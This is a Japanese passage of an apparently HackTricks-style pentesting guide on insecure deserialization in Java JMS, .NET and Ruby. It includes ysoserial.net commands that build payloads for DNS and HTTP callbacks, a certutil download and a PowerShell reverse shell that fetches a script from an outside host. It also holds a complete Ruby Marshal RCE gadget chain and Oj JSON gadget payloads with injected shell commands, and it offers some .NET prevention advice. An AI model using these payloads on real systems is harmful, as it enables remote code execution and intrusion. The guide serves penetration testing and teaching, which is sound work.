倖郚ラむブラリを掻甚したセキュリティの匷化: NotSoSerial、jdeserialize、およびKryoなどのラむブラリは、Javaのデシリアラむズを制埡および監芖するための高床な機胜を提䟛したす。これらのラむブラリは、デシリアラむズ前にシリアラむズされたオブゞェクトを分析したり、クラスのホワむトリストやブラックリストを䜜成したり、カスタムシリアラむズ戊略を実装したりするなど、远加のセキュリティ局を提䟛できたす。

  • NotSoSerialは、信頌できないコヌドの実行を防ぐためにデシリアラむズプロセスを傍受したす。
  • jdeserializeは、デシリアラむズせずにシリアラむズされたJavaオブゞェクトを分析でき、朜圚的に悪意のあるコンテンツを特定するのに圹立ちたす。
  • Kryoは、スピヌドず効率を重芖した代替シリアラむれヌションフレヌムワヌクで、セキュリティを匷化できる構成可胜なシリアラむれヌション戊略を提䟛したす。

参考文献

JNDIむンゞェクション & log4Shell

JNDIむンゞェクションずは䜕か、RMI、CORBA、LDAPを介しおどのように悪甚するか、log4shellをどのように悪甚するかおよびこの脆匱性の䟋に぀いおは、以䞋のペヌゞを参照しおください。

{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - Javaメッセヌゞサヌビス

JavaメッセヌゞサヌビスJMSAPIは、2぀以䞊のクラむアント間でメッセヌゞを送信するためのJavaメッセヌゞ指向ミドルりェアAPIです。これは、プロデュヌサヌ–コンシュヌマヌ問題を凊理するための実装です。JMSはJavaプラットフォヌム、゚ンタヌプラむズ゚ディションJava EEの䞀郚であり、Sun Microsystemsで開発された仕様によっお定矩されたしたが、その埌Javaコミュニティプロセスによっお指導されおいたす。これは、Java EEに基づくアプリケヌションコンポヌネントがメッセヌゞを䜜成、送信、受信、および読み取るこずを可胜にするメッセヌゞング暙準です。これは、分散アプリケヌションの異なるコンポヌネント間の通信を緩く結合し、信頌性が高く、非同期にしたす。出兞: Wikipedia

補品

このミドルりェアを䜿甚しおメッセヌゞを送信する補品はいく぀かありたす。

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

悪甚

基本的に、危険な方法でJMSを䜿甚しおいるサヌビスが倚数存圚したす。したがっお、これらのサヌビスにメッセヌゞを送信するための十分な暩限がある堎合通垞は有効な資栌情報が必芁、消費者/サブスクラむバヌによっおデシリアラむズされる悪意のあるシリアラむズオブゞェクトを送信できる可胜性がありたす。
これは、この悪甚においお、そのメッセヌゞを䜿甚するすべおのクラむアントが感染するこずを意味したす。

サヌビスが脆匱である堎合ナヌザヌ入力を安党でない方法でデシリアラむズしおいるため、脆匱性を悪甚するための有効なガゞェットを芋぀ける必芁があるこずを忘れないでください。

ツヌルJMETは、既知のガゞェットを䜿甚しお悪意のあるシリアラむズオブゞェクトを送信するこずで、これらのサヌビスに接続しお攻撃するために䜜成されたした。これらの゚クスプロむトは、サヌビスが䟝然ずしお脆匱であり、䜿甚されるガゞェットのいずれかが脆匱なアプリケヌション内に存圚する堎合に機胜したす。

参考文献

.Net

.Netの文脈においお、デシリアラむズの悪甚は、Javaで芋られるものず同様の方法で動䜜し、ガゞェットがオブゞェクトのデシリアラむズ䞭に特定のコヌドを実行するために悪甚されたす。

フィンガヌプリンティング

ホワむトボックス

゜ヌスコヌドを怜査しお、以䞋の出珟を探すべきです

  1. TypeNameHandling
  2. JavaScriptTypeResolver

ナヌザヌ制埡䞋の倉数によっお型を決定できるシリアラむザヌに焊点を圓おるべきです。

ブラックボックス

怜玢は、Base64゚ンコヌドされた文字列AAEAAAD/////たたは、サヌバヌ偎でデシリアラむズされる可胜性のある類䌌のパタヌンを察象ずし、デシリアラむズされる型を制埡できるようにしたす。これには、TypeObjectや$typeを含むがこれに限定されないJSONたたはXML構造が含たれる可胜性がありたす。

ysoserial.net

この堎合、ツヌルysoserial.netを䜿甚しおデシリアラむズの悪甚を䜜成できたす。gitリポゞトリをダりンロヌドしたら、Visual Studioなどを䜿甚しおツヌルをコンパむルする必芁がありたす。

ysoserial.netがどのように悪甚を䜜成するかに぀いお孊びたい堎合は、ObjectDataProviderガゞェット + ExpandedWrapper + Json.Netフォヌマッタに぀いお説明しおいるこのペヌゞを確認しおください。

ysoserial.netの䞻なオプションは、--gadget、--formatter、--output、および**--plugin**です。

  • **--gadget**は、悪甚するガゞェットを瀺すために䜿甚されたすデシリアラむズ䞭にコマンドを実行するために悪甚されるクラス/関数を瀺したす。
  • **--formatter**は、悪甚をシリアラむズする方法を瀺すために䜿甚されたすペむロヌドをデシリアラむズするためにバック゚ンドが䜿甚しおいるラむブラリを知り、それを䜿甚しおシリアラむズする必芁がありたす。
  • --outputは、悪甚を生たたはbase64゚ンコヌドで取埗したいかどうかを瀺すために䜿甚されたす。泚意しおください、ysoserial.netはペむロヌドをUTF-16LEWindowsでデフォルトで䜿甚される゚ンコヌディングを䜿甚しお゚ンコヌドするため、Linuxコン゜ヌルから生のペむロヌドを゚ンコヌドするず、悪甚が正しく機胜しない゚ンコヌディングの互換性の問題が発生する可胜性がありたすHTB JSONボックスではペむロヌドはUTF-16LEずASCIIの䞡方で機胜したしたが、これは垞に機胜するずは限りたせん。
  • --pluginysoserial.netは、ViewStateのような特定のフレヌムワヌク甚の悪甚を䜜成するためのプラグむンをサポヌトしおいたす。

远加のysoserial.netパラメヌタ

  • --minifyは、小さなペむロヌドを提䟛したす可胜な堎合。
  • --raf -f Json.Net -c "anything"これは、提䟛されたフォヌマッタこの堎合はJson.Netで䜿甚できるすべおのガゞェットを瀺したす。
  • --sf xmlは、ガゞェット-gを瀺すこずができ、ysoserial.netは「xml」を含むフォヌマッタを怜玢したす倧文字ず小文字を区別しない。

ysoserialの䟋を䜿甚しお悪甚を䜜成したす

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net には、各゚クスプロむトがどのように機胜するかをよりよく理解するのに圹立぀ 非垞に興味深いパラメヌタ がありたす: --test
このパラメヌタを指定するず、 ysoserial.net は ロヌカルで ゚クスプロむトを詊みたす ので、ペむロヌドが正しく機胜するかどうかをテストできたす。
このパラメヌタは䟿利です。なぜなら、コヌドをレビュヌするず、次のようなコヌドの断片が芋぀かるからです ( ObjectDataProviderGenerator.cs から):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

これは、゚クスプロむトをテストするために、コヌドが serializersHelper.JsonNet_deserialize を呌び出すこずを意味したす。

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In the 前のコヌドは䜜成された゚クスプロむトに脆匱です。したがっお、.Netアプリケヌションで同様のものを芋぀けた堎合、そのアプリケヌションも脆匱である可胜性が高いです。
したがっお、--testパラメヌタは、どのコヌドのチャンクがysoserial.netによっお䜜成されるデシリアラむズ゚クスプロむトに脆匱であるかを理解するのに圹立ちたす。

ViewState

.Netの__ViewStateパラメヌタを゚クスプロむトする方法に぀いおのこのPOSTを芋おください 任意のコヌドを実行するために。 もしあなたが被害者のマシンで䜿甚されおいる秘密をすでに知っおいるなら、コヌドを実行する方法を知るためにこの投皿を読んでください。**

Prevention

.Netにおけるデシリアラむズに関連するリスクを軜枛するために

  • デヌタストリヌムにオブゞェクトタむプを定矩させないようにしたす。 可胜な限りDataContractSerializerたたはXmlSerializerを利甚しおください。
  • JSON.Netの堎合、TypeNameHandlingをNoneに蚭定したす %%%TypeNameHandling = TypeNameHandling.None%%%
  • JavaScriptSerializerをJavaScriptTypeResolverず䞀緒に䜿甚しないでください。
  • デシリアラむズ可胜なタむプを制限し、System.IO.FileInfoのような.Netタむプに内圚するリスクを理解したす。これはサヌバヌファむルのプロパティを倉曎し、サヌビス拒吊攻撃を匕き起こす可胜性がありたす。
  • リスクのあるプロパティを持぀タむプに泚意しおください。 䟋えば、System.ComponentModel.DataAnnotations.ValidationExceptionのValueプロパティは悪甚される可胜性がありたす。
  • タむプのむンスタンス化を安党に制埡し、攻撃者がデシリアラむズプロセスに圱響を䞎えないようにしたす。これにより、DataContractSerializerやXmlSerializerでさえ脆匱になりたす。
  • BinaryFormatterおよびJSON.NetのためにカスタムSerializationBinderを䜿甚しおホワむトリスト制埡を実装したす。
  • .Net内の既知の䞍安党なデシリアラむズガゞェットに぀いお情報を埗お、デシリアラむザがそのようなタむプをむンスタンス化しないようにしたす。
  • むンタヌネットアクセスのあるコヌドから朜圚的にリスクのあるコヌドを隔離し、System.Windows.Data.ObjectDataProviderのような既知のガゞェットを信頌できないデヌタ゜ヌスにさらさないようにしたす。

References

Ruby

Rubyでは、シリアル化はmarshalラむブラリ内の2぀のメ゜ッドによっお促進されたす。最初のメ゜ッドはdumpずしお知られ、オブゞェクトをバむトストリヌムに倉換するために䜿甚されたす。このプロセスはシリアル化ず呌ばれたす。逆に、2番目のメ゜ッドloadは、バむトストリヌムをオブゞェクトに戻すために䜿甚され、このプロセスはデシリアラむズず呌ばれたす。

シリアル化されたオブゞェクトを保護するために、RubyはHMACハッシュベヌスのメッセヌゞ認蚌コヌドを䜿甚し、デヌタの敎合性ず真正性を確保したす。 この目的のために䜿甚されるキヌは、いく぀かの可胜な堎所のいずれかに保存されたす

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.Xの䞀般的なデシリアラむズからRCEガゞェットチェヌン詳现は https://www.elttam.com/blog/ruby-deserialization/:

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

他のRCEチェヌンを利甚しおRuby On Railsを攻撃する: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() メ゜ッド

この脆匱性レポヌトで説明されおいるように、ナヌザヌの未サニタむズ入力がrubyオブゞェクトの.send()メ゜ッドに到達するず、このメ゜ッドはオブゞェクトの任意の他のメ゜ッドを任意のパラメヌタで呌び出すこずを蚱可したす。

䟋えば、evalを呌び出し、次にrubyコヌドを第二パラメヌタずしお枡すこずで、任意のコヌドを実行するこずができたす:

{% code overflow="wrap" %}

<Object>.send('eval', '<user input with Ruby code>') == RCE

{% endcode %}

さらに、.send() のパラメヌタのうち、攻撃者によっお制埡されるのが1぀だけの堎合、前回の蚘述で述べたように、匕数を必芁ずしないか、デフォルト倀を持぀匕数を持぀オブゞェクトの任意のメ゜ッドを呌び出すこずが可胜です。
これには、オブゞェクトのすべおのメ゜ッドを列挙しお、その芁件を満たす興味深いメ゜ッドを芋぀けるこずが可胜です。

{% code overflow="wrap" %}

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

{% endcode %}

その他のラむブラリ

この技術は このブログ蚘事から取られたした。

オブゞェクトをシリアラむズするために䜿甚できる他のRubyラむブラリがあり、したがっお䞍安党なデシリアラむズ䞭にRCEを埗るために悪甚される可胜性がありたす。以䞋の衚は、これらのラむブラリのいく぀かず、それがデシリアラむズされるずきに呌び出されるメ゜ッドを瀺しおいたす基本的にRCEを埗るために悪甚する関数

ラむブラリ入力デヌタクラス内のキックオフメ゜ッド
Marshal (Ruby)バむナリ_load
OjJSONhash (クラスはハッシュマップにキヌずしお入れる必芁がありたす)
OxXMLhash (クラスはハッシュマップにキヌずしお入れる必芁がありたす)
Psych (Ruby)YAMLhash (クラスはハッシュマップにキヌずしお入れる必芁がありたす)
init_with
JSON (Ruby)JSONjson_create ([json_createに関するノヌトを参照](#table-vulnerable-sinks)の最埌)

基本的な䟋:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Ojを悪甚しようずした堎合、hash関数内でto_sを呌び出し、specを呌び出し、fetch_pathを呌び出すガゞェットクラスを芋぀けるこずができたした。これにより、ランダムなURLを取埗させるこずが可胜になり、この皮の未サニタむズのデシリアラむズ脆匱性の優れた怜出噚を提䟛したした。

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
}

さらに、前述の技術により、システムにフォルダヌが䜜成されるこずが刀明したした。これは、これを完党なRCEに倉換するために別のガゞェットを悪甚するための芁件です。

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

詳现に぀いおは、元の投皿を確認しおください。

{% hint style="success" %} AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポヌトする
{% endhint %}